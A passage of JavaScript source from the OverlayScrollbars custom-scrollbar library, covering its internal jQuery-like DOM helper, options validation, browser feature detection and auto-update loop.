el.removeEventListener(eventName[i], handler);
}
else if (el.detachEvent) {
for (; i < eventNameLength; i++)
el.detachEvent('on' + eventName[i], handler);
}
} catch (e) { }
});
},
one: function (eventName, handler) {
eventName = (eventName || _strEmpty).match(_rnothtmlwhite) || [_strEmpty];
return this.each(function () {
var el = FakejQuery(this);
FakejQuery.each(eventName, function (i, oneEventName) {
var oneHandler = function (e) {
handler.call(this, e);
el.off(oneEventName, oneHandler);
};
el.on(oneEventName, oneHandler);
});
});
},
trigger: function (eventName) {
var el;
var event;
return this.each(function () {
el = this;
if (document.createEvent) {
event = document.createEvent('HTMLEvents');
event.initEvent(eventName, true, false);
el.dispatchEvent(event);
}
else {
el.fireEvent('on' + eventName);
}
});
},
//DOM NODE INSERTING / REMOVING:
append: function (child) {
return this.each(function () { insertAdjacentElement(this, 'beforeend', child); });
},
prepend: function (child) {
return this.each(function () { insertAdjacentElement(this, 'afterbegin', child); });
},
before: function (child) {
return this.each(function () { insertAdjacentElement(this, 'beforebegin', child); });
},
after: function (child) {
return this.each(function () { insertAdjacentElement(this, 'afterend', child); });
},
remove: function () {
return this.each(function () {
var el = this;
var parentNode = el.parentNode;
if (parentNode != null)
parentNode.removeChild(el);
});
},
unwrap: function () {
var parents = [];
var i;
var el;
var parent;
this.each(function () {
parent = this.parentNode;
if (inArray(parent, parents) === - 1)
parents.push(parent);
});
for (i = 0; i < parents[LEXICON.l]; i++) {
el = parents[i];
parent = el.parentNode;
while (el.firstChild)
parent.insertBefore(el.firstChild, el);
parent.removeChild(el);
}
return this;
},
wrapAll: function (wrapperHTML) {
var i;
var nodes = this;
var wrapper = FakejQuery(wrapperHTML)[0];
var deepest = wrapper;
var parent = nodes[0].parentNode;
var previousSibling = nodes[0].previousSibling;
while (deepest.childNodes[LEXICON.l] > 0)
deepest = deepest.childNodes[0];
for (i = 0; nodes[LEXICON.l] - i; deepest.firstChild === nodes[0] && i++)
deepest.appendChild(nodes[i]);
var nextSibling = previousSibling ? previousSibling.nextSibling : parent.firstChild;
parent.insertBefore(wrapper, nextSibling);
return this;
},
wrapInner: function (wrapperHTML) {
return this.each(function () {
var el = FakejQuery(this);
var contents = el.contents();
if (contents[LEXICON.l])
contents.wrapAll(wrapperHTML);
else
el.append(wrapperHTML);
});
},
wrap: function (wrapperHTML) {
return this.each(function () { FakejQuery(this).wrapAll(wrapperHTML); });
},
//DOM NODE MANIPULATION / INFORMATION:
css: function (styles, val) {
var el;
var key;
var cptStyle;
var getCptStyle = window.getComputedStyle;
if (_type(styles) == TYPES.s) {
if (val === undefined) {
el = this[0];
cptStyle = getCptStyle ? getCptStyle(el, null) : el.currentStyle[styles];
//https://bugzilla.mozilla.org/show_bug.cgi?id=548397 can be null sometimes if iframe with display: none (firefox only!)
return getCptStyle ? cptStyle != null ? cptStyle.getPropertyValue(styles) : el[LEXICON.s][styles] : cptStyle;
}
else {
return this.each(function () {
setCSSVal(this, styles, val);
});
}
}
else {
return this.each(function () {
for (key in styles)
setCSSVal(this, key, styles[key]);
});
}
},
hasClass: function (className) {
var elem, i = 0;
var classNamePrepared = _strSpace + className + _strSpace;
var classList;
while ((elem = this[i++])) {
classList = elem.classList;
if (classList && classList.contains(className))
return true;
else if (elem.nodeType === 1 && (_strSpace + stripAndCollapse(elem.className + _strEmpty) + _strSpace).indexOf(classNamePrepared) > -1)
return true;
}
return false;
},
addClass: function (className) {
var classes;
var elem;
var cur;
var curValue;
var clazz;
var finalValue;
var supportClassList;
var elmClassList;
var i = 0;
var v = 0;
if (className) {
classes = className.match(_rnothtmlwhite) || [];
while ((elem = this[i++])) {
elmClassList = elem.classList;
if (supportClassList === undefined)
supportClassList = elmClassList !== undefined;
if (supportClassList) {
while ((clazz = classes[v++]))
elmClassList.add(clazz);
}
else {
curValue = elem.className + _strEmpty;
cur = elem.nodeType === 1 && (_strSpace + stripAndCollapse(curValue) + _strSpace);
if (cur) {
while ((clazz = classes[v++]))
if (cur.indexOf(_strSpace + clazz + _strSpace) < 0)
cur += clazz + _strSpace;
finalValue = stripAndCollapse(cur);
if (curValue !== finalValue)
elem.className = finalValue;
}
}
}
}
return this;
},
removeClass: function (className) {
var classes;
var elem;
var cur;
var curValue;
var clazz;
var finalValue;
var supportClassList;
var elmClassList;
var i = 0;
var v = 0;
if (className) {
classes = className.match(_rnothtmlwhite) || [];
while ((elem = this[i++])) {
elmClassList = elem.classList;
if (supportClassList === undefined)
supportClassList = elmClassList !== undefined;
if (supportClassList) {
while ((clazz = classes[v++]))
elmClassList.remove(clazz);
}
else {
curValue = elem.className + _strEmpty;
cur = elem.nodeType === 1 && (_strSpace + stripAndCollapse(curValue) + _strSpace);
if (cur) {
while ((clazz = classes[v++]))
while (cur.indexOf(_strSpace + clazz + _strSpace) > -1)
cur = cur.replace(_strSpace + clazz + _strSpace, _strSpace);
finalValue = stripAndCollapse(cur);
if (curValue !== finalValue)
elem.className = finalValue;
}
}
}
}
return this;
},
hide: function () {
return this.each(function () { this[LEXICON.s].display = 'none'; });
},
show: function () {
return this.each(function () { this[LEXICON.s].display = 'block'; });
},
attr: function (attrName, value) {
var i = 0;
var el;
while (el = this[i++]) {
if (value === undefined)
return el.getAttribute(attrName);
el.setAttribute(attrName, value);
}
return this;
},
removeAttr: function (attrName) {
return this.each(function () { this.removeAttribute(attrName); });
},
offset: function () {
var el = this[0];
var rect = el[LEXICON.bCR]();
var scrollLeft = window.pageXOffset || document.documentElement[_strScrollLeft];
var scrollTop = window.pageYOffset || document.documentElement[_strScrollTop];
return {
top: rect.top + scrollTop,
left: rect.left + scrollLeft
};
},
position: function () {
var el = this[0];
return {
top: el.offsetTop,
left: el.offsetLeft
};
},
scrollLeft: function (value) {
var i = 0;
var el;
while (el = this[i++]) {
if (value === undefined)
return el[_strScrollLeft];
el[_strScrollLeft] = value;
}
return this;
},
scrollTop: function (value) {
var i = 0;
var el;
while (el = this[i++]) {
if (value === undefined)
return el[_strScrollTop];
el[_strScrollTop] = value;
}
return this;
},
val: function (value) {
var el = this[0];
if (!value)
return el.value;
el.value = value;
return this;
},
//DOM TRAVERSAL / FILTERING:
first: function () {
return this.eq(0);
},
last: function () {
return this.eq(-1);
},
eq: function (index) {
return FakejQuery(this[index >= 0 ? index : this[LEXICON.l] + index]);
},
find: function (selector) {
var children = [];
var i;
this.each(function () {
var el = this;
var ch = el.querySelectorAll(selector);
for (i = 0; i < ch[LEXICON.l]; i++)
children.push(ch[i]);
});
return FakejQuery(children);
},
children: function (selector) {
var children = [];
var el;
var ch;
var i;
this.each(function () {
ch = this.children;
for (i = 0; i < ch[LEXICON.l]; i++) {
el = ch[i];
if (selector) {
if ((el.matches && el.matches(selector)) || matches(el, selector))
children.push(el);
}
else
children.push(el);
}
});
return FakejQuery(children);
},
parent: function (selector) {
var parents = [];
var parent;
this.each(function () {
parent = this.parentNode;
if (selector ? FakejQuery(parent).is(selector) : true)
parents.push(parent);
});
return FakejQuery(parents);
},
is: function (selector) {
var el;
var i;
for (i = 0; i < this[LEXICON.l]; i++) {
el = this[i];
if (selector === ':visible')
return elementIsVisible(el);
if (selector === ':hidden')
return !elementIsVisible(el);
if ((el.matches && el.matches(selector)) || matches(el, selector))
return true;
}
return false;
},
contents: function () {
var contents = [];
var childs;
var i;
this.each(function () {
childs = this.childNodes;
for (i = 0; i < childs[LEXICON.l]; i++)
contents.push(childs[i]);
});
return FakejQuery(contents);
},
each: function (callback) {
return each(this, callback);
},
//ANIMATION:
animate: function (props, duration, easing, complete) {
return this.each(function () { animate(this, props, duration, easing, complete); });
},
stop: function (clearQ, jump) {
return this.each(function () { stop(this, clearQ, jump); });
}
};
extend(FakejQuery, {
extend: extend,
inArray: inArray,
isEmptyObject: isEmptyObject,
isPlainObject: isPlainObject,
each: each
});
return FakejQuery;
})();
var INSTANCES = (function () {
var _targets = [];
var _instancePropertyString = '__overlayScrollbars__';
/**
* Register, unregister or get a certain (or all) instances.
* Register: Pass the target and the instance.
* Unregister: Pass the target and null.
* Get Instance: Pass the target from which the instance shall be got.
* Get Targets: Pass no arguments.
* @param target The target to which the instance shall be registered / from which the instance shall be unregistered / the instance shall be got
* @param instance The instance.
* @returns {*|void} Returns the instance from the given target.
*/
return function (target, instance) {
var argLen = arguments[LEXICON.l];
if (argLen < 1) {
//return all targets
return _targets;
}
else {
if (instance) {
//register instance
target[_instancePropertyString] = instance;
_targets.push(target);
}
else {
var index = COMPATIBILITY.inA(target, _targets);
if (index > -1) {
if (argLen > 1) {
//unregister instance
delete target[_instancePropertyString];
_targets.splice(index, 1);
}
else {
//get instance from target
return _targets[index][_instancePropertyString];
}
}
}
}
}
})();
var PLUGIN = (function () {
var _plugin;
var _pluginsGlobals;
var _pluginsAutoUpdateLoop;
var _pluginsExtensions = [];
var _pluginsOptions = (function () {
var type = COMPATIBILITY.type;
var possibleTemplateTypes = [
TYPES.b, //boolean
TYPES.n, //number
TYPES.s, //string
TYPES.a, //array
TYPES.o, //object
TYPES.f, //function
TYPES.z //null
];
var restrictedStringsSplit = ' ';
var restrictedStringsPossibilitiesSplit = ':';
var classNameAllowedValues = [TYPES.z, TYPES.s];
var numberAllowedValues = TYPES.n;
var booleanNullAllowedValues = [TYPES.z, TYPES.b];
var booleanTrueTemplate = [true, TYPES.b];
var booleanFalseTemplate = [false, TYPES.b];
var callbackTemplate = [null, [TYPES.z, TYPES.f]];
var updateOnLoadTemplate = [['img'], [TYPES.s, TYPES.a, TYPES.z]];
var inheritedAttrsTemplate = [['style', 'class'], [TYPES.s, TYPES.a, TYPES.z]];
var resizeAllowedValues = 'n:none b:both h:horizontal v:vertical';
var overflowBehaviorAllowedValues = 'v-h:visible-hidden v-s:visible-scroll s:scroll h:hidden';
var scrollbarsVisibilityAllowedValues = 'v:visible h:hidden a:auto';
var scrollbarsAutoHideAllowedValues = 'n:never s:scroll l:leave m:move';
var optionsDefaultsAndTemplate = {
className: ['os-theme-dark', classNameAllowedValues], //null || string
resize: ['none', resizeAllowedValues], //none || both || horizontal || vertical || n || b || h || v
sizeAutoCapable: booleanTrueTemplate, //true || false
clipAlways: booleanTrueTemplate, //true || false
normalizeRTL: booleanTrueTemplate, //true || false
paddingAbsolute: booleanFalseTemplate, //true || false
autoUpdate: [null, booleanNullAllowedValues], //true || false || null
autoUpdateInterval: [33, numberAllowedValues], //number
updateOnLoad: updateOnLoadTemplate, //string || array || null
nativeScrollbarsOverlaid: {
showNativeScrollbars: booleanFalseTemplate, //true || false
initialize: booleanTrueTemplate //true || false
},
overflowBehavior: {
x: ['scroll', overflowBehaviorAllowedValues], //visible-hidden || visible-scroll || hidden || scroll || v-h || v-s || h || s
y: ['scroll', overflowBehaviorAllowedValues] //visible-hidden || visible-scroll || hidden || scroll || v-h || v-s || h || s
},
scrollbars: {
visibility: ['auto', scrollbarsVisibilityAllowedValues], //visible || hidden || auto || v || h || a
autoHide: ['never', scrollbarsAutoHideAllowedValues], //never || scroll || leave || move || n || s || l || m
autoHideDelay: [800, numberAllowedValues], //number
dragScrolling: booleanTrueTemplate, //true || false
clickScrolling: booleanFalseTemplate, //true || false
touchSupport: booleanTrueTemplate, //true || false
snapHandle: booleanFalseTemplate //true || false
},
textarea: {
dynWidth: booleanFalseTemplate, //true || false
dynHeight: booleanFalseTemplate, //true || false
inheritedAttrs: inheritedAttrsTemplate //string || array || null
},
callbacks: {
onInitialized: callbackTemplate, //null || function
onInitializationWithdrawn: callbackTemplate, //null || function
onDestroyed: callbackTemplate, //null || function
onScrollStart: callbackTemplate, //null || function
onScroll: callbackTemplate, //null || function
onScrollStop: callbackTemplate, //null || function
onOverflowChanged: callbackTemplate, //null || function
onOverflowAmountChanged: callbackTemplate, //null || function
onDirectionChanged: callbackTemplate, //null || function
onContentSizeChanged: callbackTemplate, //null || function
onHostSizeChanged: callbackTemplate, //null || function
onUpdated: callbackTemplate //null || function
}
};
var convert = function (template) {
var recursive = function (obj) {
var key;
var val;
var valType;
for (key in obj) {
if (!obj[LEXICON.hOP](key))
continue;
val = obj[key];
valType = type(val);
if (valType == TYPES.a)
obj[key] = val[template ? 1 : 0];
else if (valType == TYPES.o)
obj[key] = recursive(val);
}
return obj;
};
return recursive(FRAMEWORK.extend(true, {}, optionsDefaultsAndTemplate));
};
return {
_defaults: convert(),
_template: convert(true),
/**
* Validates the passed object by the passed template.
* @param obj The object which shall be validated.
* @param template The template which defines the allowed values and types.
* @param writeErrors True if errors shall be logged to the console.
* @param diffObj If a object is passed then only valid differences to this object will be returned.
* @returns {{}} A object which contains two objects called "default" and "prepared" which contains only the valid properties of the passed original object and discards not different values compared to the passed diffObj.
*/
_validate: function (obj, template, writeErrors, diffObj) {
var validatedOptions = {};
var validatedOptionsPrepared = {};
var objectCopy = FRAMEWORK.extend(true, {}, obj);
var inArray = FRAMEWORK.inArray;
var isEmptyObj = FRAMEWORK.isEmptyObject;
var checkObjectProps = function (data, template, diffData, validatedOptions, validatedOptionsPrepared, prevPropName) {
for (var prop in template) {
if (template[LEXICON.hOP](prop) && data[LEXICON.hOP](prop)) {
var isValid = false;
var isDiff = false;
var templateValue = template[prop];
var templateValueType = type(templateValue);
var templateIsComplex = templateValueType == TYPES.o;
var templateTypes = !COMPATIBILITY.isA(templateValue) ? [templateValue] : templateValue;
var dataDiffValue = diffData[prop];
var dataValue = data[prop];
var dataValueType = type(dataValue);
var propPrefix = prevPropName ? prevPropName + '.' : '';
var error = "The option \"" + propPrefix + prop + "\" wasn't set, because";
var errorPossibleTypes = [];
var errorRestrictedStrings = [];
var restrictedStringValuesSplit;
var restrictedStringValuesPossibilitiesSplit;
var isRestrictedValue;
var mainPossibility;
var currType;
var i;
var v;
var j;
dataDiffValue = dataDiffValue === undefined ? {} : dataDiffValue;
//if the template has a object as value, it means that the options are complex (verschachtelt)
if (templateIsComplex && dataValueType == TYPES.o) {
validatedOptions[prop] = {};
validatedOptionsPrepared[prop] = {};
checkObjectProps(dataValue, templateValue, dataDiffValue, validatedOptions[prop], validatedOptionsPrepared[prop], propPrefix + prop);
FRAMEWORK.each([data, validatedOptions, validatedOptionsPrepared], function (index, value) {
if (isEmptyObj(value[prop])) {
delete value[prop];
}
});
}
else if (!templateIsComplex) {
for (i = 0; i < templateTypes[LEXICON.l]; i++) {
currType = templateTypes[i];
templateValueType = type(currType);
//if currtype is string and starts with restrictedStringPrefix and end with restrictedStringSuffix
isRestrictedValue = templateValueType == TYPES.s && inArray(currType, possibleTemplateTypes) === -1;
if (isRestrictedValue) {
errorPossibleTypes.push(TYPES.s);
//split it into a array which contains all possible values for example: ["y:yes", "n:no", "m:maybe"]
restrictedStringValuesSplit = currType.split(restrictedStringsSplit);
errorRestrictedStrings = errorRestrictedStrings.concat(restrictedStringValuesSplit);
for (v = 0; v < restrictedStringValuesSplit[LEXICON.l]; v++) {
//split the possible values into their possibiliteis for example: ["y", "yes"] -> the first is always the mainPossibility
restrictedStringValuesPossibilitiesSplit = restrictedStringValuesSplit[v].split(restrictedStringsPossibilitiesSplit);
mainPossibility = restrictedStringValuesPossibilitiesSplit[0];
for (j = 0; j < restrictedStringValuesPossibilitiesSplit[LEXICON.l]; j++) {
//if any possibility matches with the dataValue, its valid
if (dataValue === restrictedStringValuesPossibilitiesSplit[j]) {
isValid = true;
break;
}
}
if (isValid)
break;
}
}
else {
errorPossibleTypes.push(currType);
if (dataValueType === currType) {
isValid = true;
break;
}
}
}
if (isValid) {
isDiff = dataValue !== dataDiffValue;
if (isDiff)
validatedOptions[prop] = dataValue;
if (isRestrictedValue ? inArray(dataDiffValue, restrictedStringValuesPossibilitiesSplit) < 0 : isDiff)
validatedOptionsPrepared[prop] = isRestrictedValue ? mainPossibility : dataValue;
}
else if (writeErrors) {
console.warn(error + " it doesn't accept the type [ " + dataValueType.toUpperCase() + " ] with the value of \"" + dataValue + "\".\r\n" +
"Accepted types are: [ " + errorPossibleTypes.join(', ').toUpperCase() + " ]." +
(errorRestrictedStrings[length] > 0 ? "\r\nValid strings are: [ " + errorRestrictedStrings.join(', ').split(restrictedStringsPossibilitiesSplit).join(', ') + " ]." : ''));
}
delete data[prop];
}
}
}
};
checkObjectProps(objectCopy, template, diffObj || {}, validatedOptions, validatedOptionsPrepared);
//add values which aren't specified in the template to the finished validated object to prevent them from being discarded
/*
if(keepForeignProps) {
FRAMEWORK.extend(true, validatedOptions, objectCopy);
FRAMEWORK.extend(true, validatedOptionsPrepared, objectCopy);
}
*/
if (!isEmptyObj(objectCopy) && writeErrors)
console.warn('The following options are discarded due to invalidity:\r\n' + window.JSON.stringify(objectCopy, null, 2));
return {
_default: validatedOptions,
_prepared: validatedOptionsPrepared
};
}
}
}());
/**
* Initializes the object which contains global information about the plugin and each instance of it.
*/
function initOverlayScrollbarsStatics() {
if (!_pluginsGlobals)
_pluginsGlobals = new OverlayScrollbarsGlobals(_pluginsOptions._defaults);
if (!_pluginsAutoUpdateLoop)
_pluginsAutoUpdateLoop = new OverlayScrollbarsAutoUpdateLoop(_pluginsGlobals);
}
/**
* The global object for the OverlayScrollbars objects. It contains resources which every OverlayScrollbars object needs. This object is initialized only once: if the first OverlayScrollbars object gets initialized.
* @param defaultOptions
* @constructor
*/
function OverlayScrollbarsGlobals(defaultOptions) {
var _base = this;
var strOverflow = 'overflow';
var strHidden = 'hidden';
var strScroll = 'scroll';
var bodyElement = FRAMEWORK('body');
var scrollbarDummyElement = FRAMEWORK('<div id="os-dummy-scrollbar-size"><div></div></div>');
var scrollbarDummyElement0 = scrollbarDummyElement[0];
var dummyContainerChild = FRAMEWORK(scrollbarDummyElement.children('div').eq(0));
bodyElement.append(scrollbarDummyElement);
scrollbarDummyElement.hide().show(); //fix IE8 bug (incorrect measuring)
var nativeScrollbarSize = calcNativeScrollbarSize(scrollbarDummyElement0);
var nativeScrollbarIsOverlaid = {
x: nativeScrollbarSize.x === 0,
y: nativeScrollbarSize.y === 0
};
var msie = (function () {
var ua = window.navigator.userAgent;
var strIndexOf = 'indexOf';
var strSubString = 'substring';
var msie = ua[strIndexOf]('MSIE ');
var trident = ua[strIndexOf]('Trident/');
var edge = ua[strIndexOf]('Edge/');
var rv = ua[strIndexOf]('rv:');
var result;
var parseIntFunc = parseInt;
// IE 10 or older => return version number
if (msie > 0)
result = parseIntFunc(ua[strSubString](msie + 5, ua[strIndexOf]('.', msie)), 10);
// IE 11 => return version number
else if (trident > 0)
result = parseIntFunc(ua[strSubString](rv + 3, ua[strIndexOf]('.', rv)), 10);
// Edge (IE 12+) => return version number
else if (edge > 0)
result = parseIntFunc(ua[strSubString](edge + 5, ua[strIndexOf]('.', edge)), 10);
// other browser
return result;
})();
FRAMEWORK.extend(_base, {
defaultOptions: defaultOptions,
msie: msie,
autoUpdateLoop: false,
autoUpdateRecommended: !COMPATIBILITY.mO(),
nativeScrollbarSize: nativeScrollbarSize,
nativeScrollbarIsOverlaid: nativeScrollbarIsOverlaid,
nativeScrollbarStyling: (function () {
var result = false;
scrollbarDummyElement.addClass('os-viewport-native-scrollbars-invisible');
try {
result = (scrollbarDummyElement.css('scrollbar-width') === 'none' && (msie > 9 || !msie)) || window.getComputedStyle(scrollbarDummyElement0, '::-webkit-scrollbar').getPropertyValue('display') === 'none';
} catch (ex) { }
//fix opera bug: scrollbar styles will only appear if overflow value is scroll or auto during the activation of the style.
//and set overflow to scroll
//scrollbarDummyElement.css(strOverflow, strHidden).hide().css(strOverflow, strScroll).show();
//return (scrollbarDummyElement0[LEXICON.oH] - scrollbarDummyElement0[LEXICON.cH]) === 0 && (scrollbarDummyElement0[LEXICON.oW] - scrollbarDummyElement0[LEXICON.cW]) === 0;
return result;
})(),
overlayScrollbarDummySize: { x: 30, y: 30 },
cssCalc: VENDORS._cssPropertyValue('width', 'calc', '(1px)') || null,
restrictedMeasuring: (function () {
//https://bugzilla.mozilla.org/show_bug.cgi?id=1439305
//since 1.11.0 always false -> fixed via CSS (hopefully)
scrollbarDummyElement.css(strOverflow, strHidden);
var scrollSize = {
w: scrollbarDummyElement0[LEXICON.sW],
h: scrollbarDummyElement0[LEXICON.sH]
};
scrollbarDummyElement.css(strOverflow, 'visible');
var scrollSize2 = {
w: scrollbarDummyElement0[LEXICON.sW],
h: scrollbarDummyElement0[LEXICON.sH]
};
return (scrollSize.w - scrollSize2.w) !== 0 || (scrollSize.h - scrollSize2.h) !== 0;
})(),
rtlScrollBehavior: (function () {
scrollbarDummyElement.css({ 'overflow-y': strHidden, 'overflow-x': strScroll, 'direction': 'rtl' }).scrollLeft(0);
var dummyContainerOffset = scrollbarDummyElement.offset();
var dummyContainerChildOffset = dummyContainerChild.offset();
//https://github.com/KingSora/OverlayScrollbars/issues/187
scrollbarDummyElement.scrollLeft(-999);
var dummyContainerChildOffsetAfterScroll = dummyContainerChild.offset();
return {
//origin direction = determines if the zero scroll position is on the left or right side
//'i' means 'invert' (i === true means that the axis must be inverted to be correct)
//true = on the left side
//false = on the right side
i: dummyContainerOffset.left === dummyContainerChildOffset.left,
//negative = determines if the maximum scroll is positive or negative
//'n' means 'negate' (n === true means that the axis must be negated to be correct)
//true = negative
//false = positive
n: dummyContainerChildOffset.left !== dummyContainerChildOffsetAfterScroll.left
};
})(),
supportTransform: !!VENDORS._cssProperty('transform'),
supportTransition: !!VENDORS._cssProperty('transition'),
supportPassiveEvents: (function () {
var supportsPassive = false;
try {
window.addEventListener('test', null, Object.defineProperty({}, 'passive', {
get: function () {
supportsPassive = true;
}
}));
} catch (e) { }
return supportsPassive;
})(),
supportResizeObserver: !!COMPATIBILITY.rO(),
supportMutationObserver: !!COMPATIBILITY.mO()
});
scrollbarDummyElement.removeAttr(LEXICON.s).remove();
//Catch zoom event:
(function () {
if (nativeScrollbarIsOverlaid.x && nativeScrollbarIsOverlaid.y)
return;
var abs = MATH.abs;
var windowWidth = COMPATIBILITY.wW();
var windowHeight = COMPATIBILITY.wH();
var windowDpr = getWindowDPR();
var onResize = function () {
if (INSTANCES().length > 0) {
var newW = COMPATIBILITY.wW();
var newH = COMPATIBILITY.wH();
var deltaW = newW - windowWidth;
var deltaH = newH - windowHeight;
if (deltaW === 0 && deltaH === 0)
return;
var deltaWRatio = MATH.round(newW / (windowWidth / 100.0));
var deltaHRatio = MATH.round(newH / (windowHeight / 100.0));
var absDeltaW = abs(deltaW);
var absDeltaH = abs(deltaH);
var absDeltaWRatio = abs(deltaWRatio);
var absDeltaHRatio = abs(deltaHRatio);
var newDPR = getWindowDPR();
var deltaIsBigger = absDeltaW > 2 && absDeltaH > 2;
var difference = !differenceIsBiggerThanOne(absDeltaWRatio, absDeltaHRatio);
var dprChanged = newDPR !== windowDpr && windowDpr > 0;
var isZoom = deltaIsBigger && difference && dprChanged;
var oldScrollbarSize = _base.nativeScrollbarSize;
var newScrollbarSize;
if (isZoom) {
bodyElement.append(scrollbarDummyElement);
newScrollbarSize = _base.nativeScrollbarSize = calcNativeScrollbarSize(scrollbarDummyElement[0]);
scrollbarDummyElement.remove();
if (oldScrollbarSize.x !== newScrollbarSize.x || oldScrollbarSize.y !== newScrollbarSize.y) {
FRAMEWORK.each(INSTANCES(), function () {
if (INSTANCES(this))
INSTANCES(this).update('zoom');
});
}
}
windowWidth = newW;
windowHeight = newH;
windowDpr = newDPR;
}
};
function differenceIsBiggerThanOne(valOne, valTwo) {
var absValOne = abs(valOne);
var absValTwo = abs(valTwo);
return !(absValOne === absValTwo || absValOne + 1 === absValTwo || absValOne - 1 === absValTwo);
}
function getWindowDPR() {
var dDPI = window.screen.deviceXDPI || 0;
var sDPI = window.screen.logicalXDPI || 1;
return window.devicePixelRatio || (dDPI / sDPI);
}
FRAMEWORK(window).on('resize', onResize);
})();
function calcNativeScrollbarSize(measureElement) {
return {
x: measureElement[LEXICON.oH] - measureElement[LEXICON.cH],
y: measureElement[LEXICON.oW] - measureElement[LEXICON.cW]
};
}
}
/**
* The object which manages the auto update loop for all OverlayScrollbars objects. This object is initialized only once: if the first OverlayScrollbars object gets initialized.
* @constructor
*/
function OverlayScrollbarsAutoUpdateLoop(globals) {
var _base = this;
var _inArray = FRAMEWORK.inArray;
var _getNow = COMPATIBILITY.now;
var _strAutoUpdate = 'autoUpdate';
var _strAutoUpdateInterval = _strAutoUpdate + 'Interval';
var _strLength = LEXICON.l;
var _loopingInstances = [];
var _loopingInstancesIntervalCache = [];
var _loopIsActive = false;
var _loopIntervalDefault = 33;
var _loopInterval = _loopIntervalDefault;
var _loopTimeOld = _getNow();
var _loopID;
/**
* The auto update loop which will run every 50 milliseconds or less if the update interval of a instance is lower than 50 milliseconds.
*/
var loop = function () {
if (_loopingInstances[_strLength] > 0 && _loopIsActive) {
_loopID = COMPATIBILITY.rAF()(function () {
loop();
});
var timeNew = _getNow();
var timeDelta = timeNew - _loopTimeOld;
var lowestInterval;
var instance;
var instanceOptions;
var instanceAutoUpdateAllowed;
var instanceAutoUpdateInterval;
var now;
if (timeDelta > _loopInterval) {
_loopTimeOld = timeNew - (timeDelta % _loopInterval);
lowestInterval = _loopIntervalDefault;
for (var i = 0; i < _loopingInstances[_strLength]; i++) {
instance = _loopingInstances[i];
if (instance !== undefined) {
instanceOptions = instance.options();
instanceAutoUpdateAllowed = instanceOptions[_strAutoUpdate];
instanceAutoUpdateInterval = MATH.max(1, instanceOptions[_strAutoUpdateInterval]);
now = _getNow();
if ((instanceAutoUpdateAllowed === true || instanceAutoUpdateAllowed === null) && (now - _loopingInstancesIntervalCache[i]) > instanceAutoUpdateInterval) {
instance.update('auto');
_loopingInstancesIntervalCache[i] = new Date(now += instanceAutoUpdateInterval);
}
lowestInterval = MATH.max(1, MATH.min(lowestInterval, instanceAutoUpdateInterval));
}
}
_loopInterval = lowestInterval;
}
} else {
_loopInterval = _loopIntervalDefault;
}
};
/**
* Add OverlayScrollbars instance to the auto update loop. Only successful if the instance isn't already added.
* @param instance The instance which shall be updated in a loop automatically.
*/
_base.add = function (instance) {
if (_inArray(instance, _loopingInstances) === -1) {
_loopingInstances.push(instance);
_loopingInstancesIntervalCache.push(_getNow());
if (_loopingInstances[_strLength] > 0 && !_loopIsActive) {
_loopIsActive = true;
globals.autoUpdateLoop = _loopIsActive;
loop();
}
}
};
/**
* Remove OverlayScrollbars instance from the auto update loop. Only successful if the instance was added before.
* @param instance The instance which shall be updated in a loop automatically.
*/
_base.remove = function (instance) {
var index = _inArray(instance, _loopingInstances);
if (index > -1) {
//remove from loopingInstances list
_loopingInstancesIntervalCache.splice(index, 1);
_loopingInstances.splice(index, 1);
//correct update loop behavior
if (_loopingInstances[_strLength] === 0 && _loopIsActive) {
_loopIsActive = false;
globals.autoUpdateLoop = _loopIsActive;
if (_loopID !== undefined) {
COMPATIBILITY.cAF()(_loopID);
_loopID = -1;
}
}
}
};
}
/**
* A object which manages the scrollbars visibility of the target element.
* @param pluginTargetElement The element from which the scrollbars shall be hidden.
* @param options The custom options.
* @param extensions The custom extensions.
* @param globals
* @param autoUpdateLoop
* @returns {*}
* @constructor
*/
function OverlayScrollbarsInstance(pluginTargetElement, options, extensions, globals, autoUpdateLoop) {
//shortcuts
var type = COMPATIBILITY.type;
var inArray = FRAMEWORK.inArray;
var each = FRAMEWORK.each;
//make correct instanceof
var _base = new _plugin();
var _frameworkProto = FRAMEWORK[LEXICON.p];
//if passed element is no HTML element: skip and return
if (!isHTMLElement(pluginTargetElement))
return;
//if passed element is already initialized: set passed options if there are any and return its instance
if (INSTANCES(pluginTargetElement)) {
var inst = INSTANCES(pluginTargetElement);
inst.options(options);
return inst;
}
//globals:
var _nativeScrollbarIsOverlaid;
var _overlayScrollbarDummySize;
var _rtlScrollBehavior;
var _autoUpdateRecommended;
var _msieVersion;
var _nativeScrollbarStyling;
var _cssCalc;
var _nativeScrollbarSize;
var _supportTransition;
var _supportTransform;
var _supportPassiveEvents;
var _supportResizeObserver;
var _supportMutationObserver;
var _restrictedMeasuring;
//general readonly:
var _initialized;
var _destroyed;
var _isTextarea;
var _isBody;
var _documentMixed;
var _domExists;
//general:
var _isBorderBox;
var _sizeAutoObserverAdded;
var _paddingX;
var _paddingY;
var _borderX;
var _borderY;
var _marginX;
var _marginY;
var _isRTL;
var _sleeping;
var _contentBorderSize = {};
var _scrollHorizontalInfo = {};
var _scrollVerticalInfo = {};
var _viewportSize = {};
var _nativeScrollbarMinSize = {};
//naming:
var _strMinusHidden = '-hidden';
var _strMarginMinus = 'margin-';
var _strPaddingMinus = 'padding-';
var _strBorderMinus = 'border-';
var _strTop = 'top';
var _strRight = 'right';
var _strBottom = 'bottom';
var _strLeft = 'left';
var _strMinMinus = 'min-';
var _strMaxMinus = 'max-';
var _strWidth = 'width';
var _strHeight = 'height';
var _strFloat = 'float';
var _strEmpty = '';
var _strAuto = 'auto';
var _strSync = 'sync';
var _strScroll = 'scroll';
var _strHundredPercent = '100%';
var _strX = 'x';
var _strY = 'y';
var _strDot = '.';
var _strSpace = ' ';
var _strScrollbar = 'scrollbar';
var _strMinusHorizontal = '-horizontal';
var _strMinusVertical = '-vertical';
var _strScrollLeft = _strScroll + 'Left';
var _strScrollTop = _strScroll + 'Top';
var _strMouseTouchDownEvent = 'mousedown touchstart';
var _strMouseTouchUpEvent = 'mouseup touchend touchcancel';
var _strMouseTouchMoveEvent = 'mousemove touchmove';
var _strMouseEnter = 'mouseenter';
var _strMouseLeave = 'mouseleave';
var _strKeyDownEvent = 'keydown';
var _strKeyUpEvent = 'keyup';
var _strSelectStartEvent = 'selectstart';
var _strTransitionEndEvent = 'transitionend webkitTransitionEnd oTransitionEnd';
var _strResizeObserverProperty = '__overlayScrollbarsRO__';
//class names:
var _cassNamesPrefix = 'os-';
var _classNameHTMLElement = _cassNamesPrefix + 'html';
var _classNameHostElement = _cassNamesPrefix + 'host';
